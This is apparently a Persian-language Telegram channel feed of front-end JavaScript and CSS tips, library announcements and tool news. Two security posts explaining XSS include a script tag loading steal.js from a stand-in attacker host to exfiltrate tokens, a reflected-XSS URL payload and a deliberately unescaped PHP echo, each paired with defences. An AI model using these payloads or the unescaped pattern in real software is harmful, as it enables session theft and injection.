جاوااسکریپت | JavaScript
506 subscribers
654 photos
139 videos
3 files
512 links
کانال @IR_javascript حاوی اطلاعات مفید در حوزه برنامه نویس فرانت که بصورت روزانه بروز می‌شود.
در این کانال شما به:
[1] مطالب تازه
[2] تحلیل‌های عمیق
[3] نکات آموزشی
[4] چالش
[5] ابزار و راهنمایی‌های کاربردی
دسترسی خواهید داشت.

🆔@IR_javascript
Download Telegram
Media is too big
VIEW IN TELEGRAM
HelloCSV: یک راهکار آماده برای وارد کردن فایل‌های CSV در اپلیکیشن‌های JavaScript


اگر شما یا کاربران‌تان فایل‌های CSV برای وارد کردن دارید، این ابزار یک جریان کاری کامل برای واردسازی فایل‌های CSV در سمت کاربر ارائه می‌دهد که به‌راحتی می‌توانید آن را در اپلیکیشن خود جای دهید.

مستندات پایه در دسترس هستند:
https://hellocsv.mintlify.app/common/get-started/introduction


#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
بررسی یک مسئله: محدودیت در حجم داده‌های ارسالی به API 🧐

فرض کنید یک API در اختیار داریم که مقدار داده مجاز در هر درخواست را محدود کرده است. برای نمونه، قرار است ده‌هزار رکورد ارسال کنیم، اما این API تنها اجازه ارسال هزار رکورد در هر بار را می‌دهد.

هدف: سازماندهی جریان داده‌ها به‌گونه‌ای که ارسال آن‌ها در بسته‌های هزار تایی انجام شود.

### حل مسئله با استفاده از RxJS:

۱️⃣ تقسیم داده‌ها به بسته‌های کوچک‌تر:
با بهره‌گیری از عملگر `bufferCount`، جریان داده را به بخش‌هایی با هزار عنصر تقسیم می‌کنیم.

۲️⃣ ارسال غیرهم‌زمان داده‌ها:
پس از آماده‌سازی بسته‌های داده، با استفاده از `mergeMap` یا سایر عملگرهای RxJS، ارسال آن‌ها را به‌صورت آسنکرون (غیرهم‌زمان) انجام می‌دهیم.

۳️⃣ پردازش نتایج:
نتایج هر درخواست به‌صورت مستقل پردازش شده و به‌محض دریافت، قابل استفاده خواهند بود.

---

👩‍💻 نمونه پیاده‌سازی:

import { from } from 'rxjs';
import { bufferCount, mergeMap } from 'rxjs/operators';

// آرایه‌ای از داده‌ها
const data = [...Array(10000).keys()];

// ایجاد یک جریان داده از آرایه
from(data).pipe(
// تقسیم جریان به بسته‌هایی با هزار عنصر
bufferCount(1000),

// ارسال هر بسته به‌صورت غیرهم‌زمان
mergeMap((chunk) => request(chunk))
).subscribe();


---

### 🟢 مزایای این روش:

✔️ مدیریت اندازه درخواست‌ها
✔️ پردازش غیرهم‌زمان و بهینه
✔️ پیاده‌سازی ساده و شفاف

---

🔚 در نهایت، با استفاده از عملگر bufferCount در RxJS، به‌راحتی می‌توانیم جریان داده را به بسته‌هایی با اندازه دلخواه تقسیم کرده و تعداد آیتم‌های ارسالی در هر درخواست را مدیریت کنیم.
در صورتی که نیاز به جمع‌آوری نتایج تمام درخواست‌ها باشد، می‌توان از عملگر toArray نیز بهره برد 😉


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👌1
NProgress

‌‌‏ یک کتابخانهٔ بسیار سبک و مینیمال برای افزودن نوار نمایش پیشرفت (progress bar) در بالای صفحهٔ وب است. این ابزار به شما امکان می‌دهد تا روند بارگذاری یا اجرای عملیات را به‌صورت بصری و جذاب به کاربران نمایش دهید.

🔗https://rstacruz.github.io/nprogress/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
👍1👎1
### شبه‌کلاس CSS به نام :only-child 😉

این شبه‌کلاس زمانی روی یک عنصر اعمال می‌شود که آن عنصر تنها فرزند والد خود باشد.

به زبان ساده‌تر، زمانی عمل می‌کند که یک عنصر، تنها آیتم موجود در داخل محفظه (یا کانتینر) خود باشد. ☺️

---

### این شبه‌کلاس چه کاری انجام می‌دهد؟

div > p:only-child {
color: crimson;
}


ترجمه: این استایل زمانی روی تگ <p> اعمال می‌شود که تنها فرزند داخل تگ <div> باشد.

---

### 👩‍💻 کاربردها

⏺️ پنهان کردن عناصر اضافی، در صورتی که بیش از یکی باشند
⏺️ تغییر ظاهر عناصر «تک‌نفره»، مثلاً وقتی در یک فهرست فقط یک مورد وجود دارد
⏺️ کاهش فاصله‌ها یا حذف عناصر تزئینی، وقتی یک عنصر به‌تنهایی درون کانتینر قرار دارد

---

### 🟣 ترکیب با شبه‌کلاس :has



با اینکه :only-child به‌تنهایی ابزار مفیدی‌ست، اما من از ترکیب آن با شبه‌کلاس :has() بسیار لذت می‌برم.
این ترکیب به ما اجازه می‌دهد بدون استفاده از JavaScript، براساس نوع و تعداد فرزندان یک عنصر، به عنصر والد استایل دهیم. ✔️

---

### 👩‍💻 نمونه کد:

ul:has(> li:only-child) {
background-color: #f0f0f0;
padding: 1rem;
border-radius: 8px;
}


توضیح: اگر درون تگ <ul> تنها یک تگ <li> وجود داشته باشد، این استایل ویژه برای آن اعمال می‌شود.

---


---

### جمع‌بندی

این شبه‌کلاس ساده، در ظاهر کوچک به نظر می‌رسد، اما در موقعیت‌های مناسب، می‌تواند بسیار کاربردی و مؤثر باشد. 👍


#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
2👍1
کار با کلیپ‌بورد (Clipboard) در JavaScript: متدهای `writeText()` و `write()` 🤔

افزودن قابلیت کپی در کلیپ‌بورد یکی از وظایف رایج در توسعه رابط‌های کاربری است—از دکمه‌ی «کپی لینک» گرفته تا جای‌گذاری HTML یا حتی تصویر. زبان JavaScript دو متد کاربردی برای این کار ارائه می‌دهد: writeText() و write(). در ادامه با نحوهٔ استفاده و کاربرد هرکدام آشنا می‌شویم.

---

### ✔️ navigator.clipboard.writeText()

ساده‌ترین روش برای کپی یک رشته متنی در کلیپ‌بورد است. استفاده از آن آسان است و در تمام مرورگرهای مدرن پشتیبانی می‌شود.

مناسب برای:

⏺️ کپی داده‌های متنی (مانند کدهای تخفیف، پیام‌ها)
⏺️ کپی آدرس‌های اینترنتی (URL)
⏺️ تکرار آدرس ایمیل یا شماره تلفن‌ها

مثال:

navigator.clipboard.writeText("سلام دنیا!");


---

### ✔️ navigator.clipboard.write()

اگر نیاز دارید HTML، تصویر یا سایر انواع MIME را در کلیپ‌بورد قرار دهید، از این متد استفاده می‌شود.

این متد با آرایه‌ای از `ClipboardItem`ها کار می‌کند که در آن‌ها نوع محتوا و داده‌ها به‌صورت Blob مشخص می‌شوند.

امکانات:

⏺️ کپی کدهای HTML
⏺️ جای‌گذاری تصاویر
⏺️ پشتیبانی از انواع داده‌های سفارشی و غیرمتعارف

مثال:

const blob = new Blob(["<b>متن بولد</b>"], { type: "text/html" });
const item = new ClipboardItem({ "text/html": blob });
navigator.clipboard.write([item]);


---

### 👩‍💻 چگونه تصویر را در کلیپ‌بورد کپی کنیم؟

کپی تصاویر پیچیده‌تر است. اکثر مرورگرها هنوز از انواع MIME تصویری (مانند image/jpeg) در ClipboardItem پشتیبانی کامل ندارند. به‌صورت محدود، می‌توان تصویر را به image/png تبدیل کرد و با استفاده از عنصر <canvas> در کلیپ‌بورد قرار داد.
---

### ⚠️ نکات و محدودیت‌های مهم:

فقط روی پروتکل امن HTTPS یا در حالت محلی (localhost) کار می‌کند
نیاز به تعامل کاربر دارد (مثلاً کلیک روی دکمه)
👀 متد write() ممکن است در برخی مرورگرها به‌طور کامل پشتیبانی نشود

---

### جمع‌بندی:

🧩 اگر فقط با متن سروکار دارید، متد writeText() در بیش از نود و نه درصد مواقع پاسخ‌گو خواهد بود.
🧩 اگر نیاز به کپی داده‌های ساختاریافته یا چندرسانه‌ای دارید، از write() استفاده کنید—اما قبل از آن حتماً بررسی کنید که مرورگر مقصد از آن پشتیبانی می‌کند. 😉

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍2
Lingui.js

یک کتابخانه برای بین‌المللی‌سازی (i18n) در برنامه‌های جاوااسکریپت است. این کتابخانه از استاندارد ICU MessageFormat برای مدیریت قواعد پیچیده‌ی استفاده می‌کند. همچنین ابزارهایی برای استخراج پیام‌ها از درون کد در اختیار توسعه‌دهنده قرار می‌دهد

این ابزار انتخاب مناسبی برای پروژه‌هایی است که به یک سیستم بومی‌سازی (localization) انعطاف‌پذیر نیاز دارند.

🔗https://lingui.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
🔒 XSS چیست؟

‏XSS یا Cross-Site Scripting نوعی آسیب‌پذیری امنیتی در وب است که در آن، مهاجم می‌تواند کدی مخرب (معمولاً JavaScript) را در صفحه وب تزریق کند؛ و این کد در مرورگر قربانی به‌عنوان بخشی از سایت معتبر اجرا می‌شود.

با استفاده از XSS، مهاجم می‌تواند:

* به کوکی‌ها**، **LocalStorage و سایر داده‌های ذخیره‌شده در مرورگر دسترسی پیدا کند
* محتوای صفحه را تغییر دهد (مثلاً فرم‌های فیشینگ جایگزین شود)
* و در نهایت، دستورات مختلفی را به‌جای کاربر قربانی اجرا کند: از ارسال پیام گرفته تا انجام تراکنش‌های مالی یا هر اقدام دیگری

---

یکی از رایج‌ترین سناریوهای XSS امروزه، نصب افزونه‌های مرورگر ناامن است که کاربر بدون دقت، دسترسی‌های زیادی به آن‌ها می‌دهد.

### مثالی ساده:

۱. کاربر افزونه‌ای را نصب می‌کند که صفحات (مثلاً سایت بانک) را بررسی کرده و با innerHTML محتوایی به آن اضافه می‌کند
۲. افزونه یک کد مخرب وارد صفحه می‌کند:

<script src="https://evil.ru/steal.js"></script>


۳. این اسکریپت، توکن‌های ذخیره‌شده در LocalStorage را استخراج کرده و به سرور مهاجم ارسال می‌کند

🔚 نتیجه: با این توکن، مهاجم می‌تواند به‌راحتی از طرف شما اطلاعات بدزدد، تراکنش انجام دهد یا عملیات خطرناک دیگری صورت دهد.
و این تنها یکی از هزاران سناریوی ممکن برای حملهٔ XSS است.

---

🛡 چگونه در برابر XSS از خود محافظت کنیم؟

همیشه ورودی‌های کاربر را ایمن‌سازی (escape) کنید
از روش‌های ناامن و خام برای درج HTML مثل innerHTML پرهیز کنید
برای کوکی‌ها از فلگ HttpOnly استفاده کنید تا با JavaScript قابل خواندن نباشند
از سیاست امنیت محتوایی (CSP - Content Security Policy) استفاده کنید
(در پست‌های بعدی درباره آن بیشتر خواهیم گفت)



📌 سایت‌هایی که از CSP استفاده نمی‌کنند یا حاوی دستور unsafe-inline هستند، طعمهٔ مناسبی برای این نوع حمله‌ها محسوب می‌شوند.

ایمن‌سازی وب‌سایت‌ها نه‌تنها وظیفهٔ توسعه‌دهنده، بلکه مسئولیتی در برابر کاربران است.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
نسخهٔ آزمایشی Vue v3.6.0-alpha منتشر شده است
(لینک: https://github.com/vuejs/core/releases/tag/v3.6.0-alpha.1)
که در آن حالت Vapor نیز معرفی شده است.

توصیه می‌شود این قابلیت را با احتیاط، تنها در برنامه‌های کوچک، یا در بخش‌هایی از پروژه که نیاز به عملکرد بالا دارند، به‌صورت کامل یا جزئی مورد استفاده قرار دهید.

ایدهٔ اصلی پشت حالت Vapor این است که تعامل با DOM مرورگر به‌طور مستقیم انجام شود، نه از طریق VDOM. این روش به‌صورت نظری می‌تواند موجب افزایش سرعت و کاهش حجم نهایی بسته شود. با این حال، در بیشتر برنامه‌های نوشته‌شده با Vue، احتمالاً این تفاوت‌ها چندان محسوس نخواهند بود، حتی با وجود بنچ‌مارک‌ها.


#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
👍5
🛡 سیاست امنیت محتوا (Content Security Policy - CSP)

‏CSP یک مکانیزم امنیتی در مرورگرها است که به کمک آن می‌توان مشخص کرد منابعی مانند اسکریپت‌ها، استایل‌ها، فونت‌ها، تصاویر و... فقط از چه مبدأهایی قابل بارگذاری و اجرا هستند.

هدف اصلی CSP این است که کاربر را در برابر حملات تزریقی مانند XSS محافظت کند، با مسدود کردن هرگونه منبع غیرمجاز و غیرقابل‌اعتماد.

---

🔧 نحوهٔ تنظیم CSP

‏CSP را می‌توان از دو طریق مشخص کرد:

۱. از طریق هدر HTTP
۲. از طریق تگ `<meta>` در HTML

راستش را بخواهید، بنده شخصاً هرگز از روش تگ meta استفاده نکرده‌ام، چون این روش نه‌تنها انعطاف‌پذیری بسیار کمی دارد، بلکه تنها برای صفحات کاملاً ایستا مناسب است.

به‌صورت رایج، CSP را می‌توان در تنظیمات Nginx، Express یا حتی Docker به‌صورت هدر زیر تعریف کرد:

Content-Security-Policy: default-src 'self' https://trusted.ru;


📝 این دستور به این معناست که فقط منابعی که از دامنهٔ خود سایت یا trusted.ru می‌آیند، قابل بارگذاری هستند.

---

📛 اگر CSP به‌گونه‌ای پیکربندی شده باشد که اجازه‌ی استفاده از اسکریپت‌های درون‌خطی ('unsafe-inline') یا دامنه‌های ناشناس را ندهد، کد مخرب مهاجم اجرا نخواهد شد — چون مرورگر، تگ‌های <script> خارج از لیست سفید را بلاک می‌کند. این کار به‌طرز مؤثری خطر حملات XSS را کاهش می‌دهد.

❗️ 'unsafe-inline' یکی از دستورهای CSP است که به مرورگر اجازه می‌دهد اسکریپت‌هایی که مستقیماً در HTML قرار دارند را اجرا کند.
گرچه این کار ممکن است در برخی پروژه‌ها راحت باشد، اما به‌شدت امنیت سایت را کاهش می‌دهد.

نمونه‌ای از CSP همراه با unsafe-inline:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';


---

🧩 به‌طور کلی، اگر دست به کاری نزنید که از دید امنیتی واقعاً خطرناک باشد، بسیاری از فریم‌ورک‌های مدرن مانند Nuxt یا Next به‌صورت پیش‌فرض امکانات امنیتی خوبی ارائه می‌دهند.
اگر دقیق نمی‌دانید چه کاری انجام می‌دهید، این تنظیمات پیش‌فرض را غیرفعال نکنید.

اما یادتان باشد: هیچ فریم‌ورکی نمی‌تواند شما را کاملاً ایمن کند.

---

⚠️ CSP راه‌حل نهایی نیست، اما ابزاری بسیار قدرتمند برای "دفاع در عمق" است.
پیشنهاد می‌کنم حتی اگر شده یک قانون ساده مثل `default-src 'self'` را اعمال کنید و بعد به‌مرور آن را توسعه دهید.
همین قدم ساده، به‌مراتب بهتر از هیچ کاری نکردن است.

🌹 ممنون از اینکه مطالعه کردید، واقعاً برایم ارزشمند است 🥰


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
🔥1
در واقع، راه‌های متعددی برای ایجاد آرایه‌ای با صد عنصر وجود دارد. بیایید با ساده‌ترین روش شروع کنیم:

Array(100)


اما این روش یک مشکل دارد: نمی‌توان به‌راحتی آن را مقداردهی کرد.
برای حل این مشکل، کافی‌ست از متد fill استفاده کنید:

Array(100).fill(0)


یا اگر بخواهید آرایه را با اندیس‌ها پر کنید، شاید به سراغ map بروید:

Array(100).map((_, index) => index)


❗️سعی کنید حدس بزنید نتیجه اجرای این کد چیست؟ 😄
پاسخ:
⬇️
[empty × 100] یعنی یک آرایه پراکنده (Sparse Array)، نه آرایه‌ای شامل اندیس‌ها.

دلیل این موضوع این است که فراخوانی Array(100) یک آرایه‌ی پراکنده می‌سازد—آرایه‌ای که برای عناصرش حتی حافظه‌ای اختصاص داده نمی‌شود؛ فقط ساختاری با length صد ایجاد می‌شود.

برای مثال اگر بنویسید:

Object.keys(Array(100)).length


نتیجه برابر با صفر است، چون عملاً هیچ مقداری در آن آرایه وجود ندارد، بنابراین map هم کار نمی‌کند.

برای استفاده از map باید آرایه را از حالت "پراکنده" به آرایه‌ای معمولی تبدیل کنیم. یکی از روش‌های مرسوم:

[...Array(100)].map((_, index) => index)


این ترفند باعث می‌شود آرایه‌ای با صد مقدار undefined ساخته شود که حالا قابل پیمایش با map است.

اما روش مورد علاقه‌ی من و بسیار خوانا و تمیز:

Array.from({ length: 100 })


این روش هم واضح‌تر است و هم می‌توان تابع نگاشت (mapper function) را مستقیماً به عنوان آرگومان دوم پاس داد:

Array.from({ length: 100 }, () => 'سلام')


یا اگر بخواهیم خیلی ساده و سنتی عمل کنیم:

const array = []

for (let i = 0; i < 100; i++) {
array.push('progway')
}


ممنون که مطالعه کردید؛ واقعاً برای من ارزشمنده ❤️


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
3
🔓 نمونه‌ای دیگر از آسیب‌پذیری XSS

بیایید فرض کنیم سایتی با دامنه a.com در برابر حملات XSS محافظت نشده است. حالا تصور کنید در این سایت، یک پارامتر در URL وجود دارد که بدون هیچ‌گونه بررسی یا پاک‌سازی، مستقیماً در صفحه نمایش داده می‌شود:

<div>نتایج جست‌وجو: <?php echo $_GET['query']; ?></div>


---

🧑‍💻 مهاجم چه کاری انجام می‌دهد؟

۱. یک لینک خاص ایجاد می‌کند، مثلاً:

https://a.com/search?query=<script>alert('من کلیه‌ات رو دزدیدم!')</script>


۲. از طریق ایمیل فیشینگ، پیام در شبکه‌های اجتماعی یا راه‌های دیگر، شما را فریب داده و وادار به کلیک روی این لینک می‌کند.

---

🌐 چه اتفاقی در مرورگر شما می‌افتد؟

۱. شما وارد a.com با آن لینک آلوده می‌شوید.
۲. سرور سایت a.com اسکریپت <script>...</script> را درون HTML صفحه قرار می‌دهد.
۳. مرورگر شما، چون این اسکریپت از سایت معتبر a.com آمده، آن را اجرا می‌کند.

💥 نتیجه؟ اسکریپت مهاجم اجرا شده و ممکن است اطلاعات حساس شما دزدیده شود — یا حتی «کلیه‌تان»! 🫣

---

آیا CSP در اینجا کمک می‌کند؟
پاسخ: متأسفانه نه.

CSP فقط منبع اسکریپت را بررسی می‌کند، نه محتوای آن را. در این مثال، خود سرور معتبر a.com این اسکریپت را وارد صفحه کرده است، بنابراین CSP دلیلی برای مسدود کردن آن نمی‌بیند.

---

راه‌حل مناسب چیست؟
یک روش ساده اما بسیار مؤثر: ایمن‌سازی یا "اکسکیپ‌کردن" (escaping) داده‌های ورودی.

به‌جای اینکه داده‌های کاربر مستقیماً در صفحه وارد شوند، باید کاراکترهای خطرناک مثل <, >, " به معادل امن HTML تبدیل شوند. مثلاً:

<div>نتایج جست‌وجو: <?php echo htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8'); ?></div>


---

📌 نتیجه‌گیری:
CSP یک ابزار مفید است، اما نمی‌تواند جایگزین اصول اولیهٔ ایمن‌سازی ورودی‌ها شود.
همیشه داده‌هایی که از کاربر می‌گیرید را پیش از نمایش، پاک‌سازی و ایمن‌سازی کنید.
این ساده‌ترین و مؤثرترین راه مقابله با XSS است.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
در Nuxt.js می‌توانید تعیین کنید که کدام composable‌ها هنگام انجام tree shaking از بسته‌بندی سمت کلاینت یا سرور حذف شوند تا عملکرد بهبود یابد.

این تنظیمات در فایل nuxt.config.ts و در بخش optimization.treeShake.composables انجام می‌شود.

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
‏**Nuxt نسخهٔ چهارم رسماً منتشر شده است!
🔗 [جزئیات بیشتر](
https://nuxt.com/blog/v4)

این نسخه شامل مجموعه‌ای از بهبودهای مهم و کاربردی است:

🐤 **تغییر ساختار پوشه‌های پروژه
(یا همان معماری): اکنون با ساختار جدید شامل app/`، `server/ و modules/.

بازطراحی کامل useAsyncData و useFetch: اکنون از واکنش‌گرایی سطحی (shallow reactivity)، مقدار پیش‌فرض undefined و اشتراک داده‌ها بین کامپوننت‌ها پشتیبانی می‌شود.

🍙 سادگی در tsconfig: حالا فقط یک فایل در ریشهٔ پروژه کافی است.

🩹 هماهنگ‌سازی نام‌گذاری خودکار کامپوننت‌ها: از این پس نام‌ها به‌صورت یکنواخت در ابزار توسعه، ویژگی KeepAlive و سیستم Auto Import نمایش داده و استفاده می‌شوند.

📦 آمادهٔ ارتقا هستید؟
📘 [راهنمای مهاجرت به Nuxt 4](https://nuxt.com/docs/4.x/getting-started/upgrade#upgrading-nuxt)

📅 نگران نباشید اگر هنوز آماده نیستید —
پشتیبانی از Nuxt 3 تا پایان سال ۲۰۲۵ ادامه دارد، و Nuxt 4 تا میانهٔ سال ۲۰۲۶ پشتیبانی خواهد شد.

در ضمن، نسخهٔ سوم Nitro هم به‌زودی منتشر می‌شود و پایه‌ای برای Nuxt 5 خواهد بود.



#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Dockview
Dockview یک کتابخانهٔ جاوااسکریپت است که برای ساخت رابط‌های کاربری پنلی پیشرفته، مشابه آن‌چه در محیط‌های توسعهٔ یکپارچه (IDE) مدرن دیده می‌شود، طراحی شده است. این کتابخانه از پنل‌هایی که قابل جابجایی**، **چسباندن (Docking) و تغییر اندازه هستند پشتیبانی می‌کند.

گزینه‌ای مناسب برای توسعهٔ وب‌اپلیکیشن‌هایی است که نیاز به یک فضای کاری منعطف و قابل تنظیم دارند.


🔗https://dockview.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
برای علاقه‌مندان به آزمایش دستیارهای هوش مصنوعی، شرکت AWS نسخه‌ای اختصاصی از Visual Studio Code با قابلیت‌های هوش مصنوعی ارائه کرده است که با نام Kiro شناخته می‌شود.


ویژگی متمایز Kiro آن است که بر اساس مشخصات پروژه (spec-driven) عمل می‌کند؛ به این معنا که کاربر ابتدا باید مشخصات و نیازمندی‌های پروژه را تعریف کند و سپس Kiro بر مبنای همان مشخصات، ساختار و کدهای پروژه را تولید می‌نماید.

این رویکرد بسیار هوشمندانه است. البته می‌توان این روند را به‌صورت دستی نیز پیاده‌سازی کرد، اما نکته قابل توجه این است که در Kiro این منطق به‌صورت درونی در الگوریتم آن طراحی شده است.

در حال حاضر، استفاده از Kiro رایگان است و این ابزار از مدل Claude Sonnet ۴ بهره می‌برد.

🔗https://kiro.dev/blog/introducing-kiro
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
آیا تا به حال خواسته‌اید پیش از بسته‌شدن صفحهٔ وب توسط کاربر، اطلاعاتی را ذخیره کنید؟

در جاوااسکریپت رویدادهایی وجود دارد که با استفاده از آن‌ها می‌توان درخواست‌هایی به سرور ارسال کرد تا داده‌های مفید ذخیره شوند. اما دقت داشته باشید که در این موقعیت‌ها، درخواست‌های همگام (synchronous) قابل استفاده نیستند؛ تنها روش‌های ناهمگام مانند fetch یا sendBeacon قابل اتکا هستند.

متأسفانه بسیاری از اپلیکیشن‌های وب در این زمینه عملکرد درستی ندارند، چرا که چرخهٔ عمر برنامه در موبایل را در نظر نمی‌گیرند: یا به رویدادهایی گوش می‌دهند که ممکن است اصلاً اجرا نشوند، یا این مشکل را به‌طور کلی نادیده می‌گیرند، که در نهایت منجر به تجربه‌ای ضعیف برای کاربر می‌شود. البته باید منصف بود؛ پلتفرم وب نیز با ارائهٔ رویدادهای متنوعی مانند visibilityState، pageshow، pagehide، beforeunload و unload، کار را ساده نکرده است. حال سوال اینجاست: از کدام رویداد باید استفاده کرد و چه زمانی؟

چرا نمی‌توان روی رویدادهای unload و beforeunload حساب کرد؟
در پلتفرم‌های موبایل نمی‌توان انتظار داشت که رویدادهای pagehide، beforeunload یا unload همیشه اجرا شوند. این مسئله ایرادی در مرورگر مورد علاقهٔ شما نیست؛ بلکه ناشی از نحوهٔ عملکرد سیستم‌عامل‌های موبایل است. یک اپلیکیشن فعال می‌تواند به چند روش وارد وضعیت پس‌زمینه شود:

+ کاربر روی یک اعلان کلیک کرده و وارد اپلیکیشن دیگری شود؛
+ کاربر با استفاده از تسک‌سوئیچر (Task Switcher) به برنامه‌ای دیگر برود؛
+ با زدن دکمهٔ "خانه" به صفحهٔ اصلی گوشی بازگردد؛
+ سیستم‌عامل به‌صورت خودکار برنامه را به پس‌زمینه ببرد — مثلاً هنگام دریافت تماس.

پس از آن، اپلیکیشن می‌تواند بدون هیچ هشدار خاصی خاتمه یابد — مثلاً سیستم‌عامل فرآیند را برای آزادسازی منابع متوقف کند، یا کاربر برنامه را از تسک‌منیجر حذف کند. بنابراین باید فرض را بر این گذاشت که خاموشی‌های "تمیز" که در آن رویدادهایی مانند pagehide و unload اجرا می‌شوند، استثناء هستند، نه قاعده.

Page Visibility API این امکان را برای توسعه‌دهندگان فراهم می‌سازد تا از وضعیت نمایش یا پنهان بودن صفحه آگاه شوند.

این API عمدتاً از ویژگی‌ها و رویدادهای زیر بهره می‌برد:

‏* document.visibilityState: یک رشته (string) برمی‌گرداند که نشان‌دهندهٔ وضعیت کنونی سند است. مقادیر ممکن شامل visible (قابل‌مشاهده) و hidden (پنهان) می‌باشد.
* رویداد visibilitychange: هنگامی اجرا می‌شود که وضعیت نمایش سند تغییر کند.

با استفاده از این API، می‌توانید رفتار اپلیکیشن خود را بر اساس قابل‌مشاهده بودن یا نبودن صفحه تنظیم کنید.

---

### نمونهٔ پیاده‌سازی

کد زیر نشان می‌دهد که چگونه می‌توان هنگام قابل‌مشاهده شدن صفحه، یک پیام هشدار نمایش داد:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Visibility Test</title>
<script>
function updateVisibility() {
if (document.visibilityState === 'visible') {
alert('صفحه اکنون قابل‌مشاهده است');
}
}

document.addEventListener("visibilitychange", updateVisibility);

// بررسی وضعیت اولیهٔ نمایش صفحه
updateVisibility();
</script>
</head>
<body>
<h1>صفحهٔ آزمایشی</h1>
<p>این یک صفحهٔ تست برای بررسی رویدادهای تغییر در نمایش است.</p>
</body>
</html>


در این مثال، تابع updateVisibility بررسی می‌کند که آیا صفحه در حال حاضر قابل‌مشاهده است یا نه، و در صورت تأیید، پیام هشدار را نمایش می‌دهد. این تابع هم هنگام بارگذاری صفحه و هم هنگام تغییر وضعیت نمایش فراخوانی می‌شود.
### چه زمانی مقدار document.visibilityState برابر با visible است؟

وضعیت visible در شرایط زیر فعال می‌شود:

* بازگشت به تب از تب دیگر:
کاربر از تب دیگری به تب شما بازمی‌گردد.

* بازیابی پنجرهٔ کوچک‌شده:
کاربر مرورگر را مینیمایز کرده و سپس مجدداً باز می‌کند.

* بازگشت از یک اپلیکیشن دیگر به مرورگر:
کاربر پس از استفاده از برنامه‌ای دیگر، به مرورگری که صفحهٔ شما در آن باز است برمی‌گردد.

* بازکردن قفل دستگاه:
کاربر دستگاه را آنلاک می‌کند و مرورگر (و صفحهٔ شما) دوباره به نمایش درمی‌آید.

در این سناریوها، وضعیت صفحه از حالت «پنهان» به حالت «قابل‌مشاهده» تغییر می‌کند و رویداد visibilitychange اجرا می‌شود.

---

### جمع‌بندی

Page Visibility API ابزاری بسیار مفید برای شناسایی بازگشت کاربر به صفحه است. این امکان را به شما می‌دهد که اقدامات خاصی نظیر به‌روزرسانی محتوا یا ادامهٔ پخش رسانه را اجرا کنید.
با پایش وضعیت نمایش صفحه، می‌توانید تجربهٔ کاربری را ارتقا دهید و از منابع سیستم به‌صورت بهینه استفاده کنید.

برای اطلاعات و نمونه‌های بیشتر، به [مستندات MDN دربارهٔ Page Visibility API](https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API) مراجعه فرمایید.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
🔥2
۸ ابزار رایگان برای طراحی وایرفریم و نمونه‌سازی (Prototyping):

🔸 Figma
🔸 Adobe XD
🔸 Wireframe.cc
🔸 FluidUI
🔸 Mockflow
🔸 Moqups
🔸 Cacoo
🔸 Jumpchart

این ابزارها برای طراحی رابط کاربری، ترسیم طرح‌های اولیه و شبیه‌سازی تعاملات کاربر بسیار کاربردی و مؤثر هستند.

#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
تابع `hsla()` چگونه کار می‌کند؟

تابع hsla() که پارامترهای آن به ترتیب نشان‌دهندهٔ تون رنگ (Hue)**، **اشباع رنگ (Saturation)**، **روشنایی (Lightness) و کانال آلفا (Alpha) هستند، برای تعیین رنگ‌های نیمه‌شفاف نیز به‌کار می‌رود.

تون رنگ (Hue) با استفاده از درصدهایی بر مبنای دایرهٔ رنگ مشخص می‌شود. این دایره به بخش‌هایی تقسیم شده که هر کدام نمایندهٔ یکی از رنگ‌های اصلی یا فرعی هستند:

* ۰ یا ۳۶۰ درجه — رنگ قرمز
* ۶۰ درجه — رنگ زرد
* ۱۲۰ درجه — رنگ سبز
* ۱۸۰ درجه — رنگ آبی روشن (فیروزه‌ای)
* ۲۴۰ درجه — رنگ آبی تیره
* ۲۷۰ درجه — رنگ بنفش
* ۳۰۰ درجه — رنگ ارغوانی (سرخابی)

برای به‌دست آوردن رنگ سیاه**، باید مقدار **تون، اشباع و روشنایی را برابر با صفر قرار دهید:
hsla(0, 0%, 0%, 1)

رنگ سفید با روشنایی صد درصد و صفر بودن تون و اشباع حاصل می‌شود:
hsla(0, 0%, 100%, 1)

و برای تولید رنگ **خاکستری**، کافی‌ست اشباع برابر صفر و روشنایی پنجاه درصد باشد:
hsla(0, 0%, 50%, 1)


#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
طراحی تطبیقی (Adaptive Design) VS طراحی واکنش‌گرا (Responsive Design)

### اصل کارکرد

#### طراحی تطبیقی (Adaptive Design)

🔹 نقاط توقف (Breakpoints):
در این روش، وضوح‌های مشخص و ثابتی تعریف می‌شوند — برای مثال، سیصد و بیست، هفت‌صد و شصت و هشت، هزار و بیست و چهار، و هزار و چهارصد و چهل پیکسل. برای هر یک از این نقاط، یک طرح (layout) مجزا طراحی می‌گردد.

🔹 سبک‌ها و منابع مجزا:
برای هر breakpoint می‌توان تصاویر بهینه‌شده بارگذاری کرد، محتوایی را فعال یا غیرفعال نمود، یا حتی مجموعه فونت‌های خاصی را به کار گرفت.

🔹 سناریوهای بارگذاری:
در زمان رندر صفحه، سیستم تصمیم می‌گیرد که بر اساس عرض صفحه‌نمایش، کدام طرح و سبک را فعال کند.

---

#### طراحی واکنش‌گرا (Responsive Design)

🔹 شبکه‌ی انعطاف‌پذیر:
